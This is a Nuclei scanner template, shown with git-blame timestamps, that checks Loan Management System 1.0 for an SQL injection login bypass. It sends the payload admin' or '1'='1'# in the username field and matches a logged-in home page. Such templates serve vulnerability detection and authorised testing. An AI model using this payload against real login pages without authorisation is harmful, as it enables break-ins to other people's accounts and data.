2022-07-20 11:07:42 +00:00
|
|
|
id: loancms-sqli
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Loan Management System 1.0 - SQLi Authentication Bypass
|
|
|
|
author: arafatansari
|
2022-07-20 12:38:25 +00:00
|
|
|
severity: high
|
2022-07-20 11:07:42 +00:00
|
|
|
description: |
|
|
|
|
Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.
|
2022-07-20 12:38:25 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/50402
|
|
|
|
tags: loancms,sqli,bypass,cms
|
2022-07-20 11:07:42 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /ajax.php?action=login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
username=admin'+or+'1'%3D'1'%23&password=nuclei
|
|
|
|
|
2022-07-20 12:38:25 +00:00
|
|
|
- |
|
|
|
|
GET /index.php?page=home HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
2022-07-20 11:07:42 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2022-07-20 12:38:25 +00:00
|
|
|
- 'window.start_load'
|
|
|
|
- 'Welcome back'
|
|
|
|
- 'Loan Management System'
|
|
|
|
condition: and
|
2022-07-20 11:07:42 +00:00
|
|
|
|
|
|
|
- type: word
|
2022-07-20 12:38:25 +00:00
|
|
|
part: body
|
2022-07-20 11:07:42 +00:00
|
|
|
words:
|
2022-07-20 12:38:25 +00:00
|
|
|
- 'login-form'
|
|
|
|
negative: true
|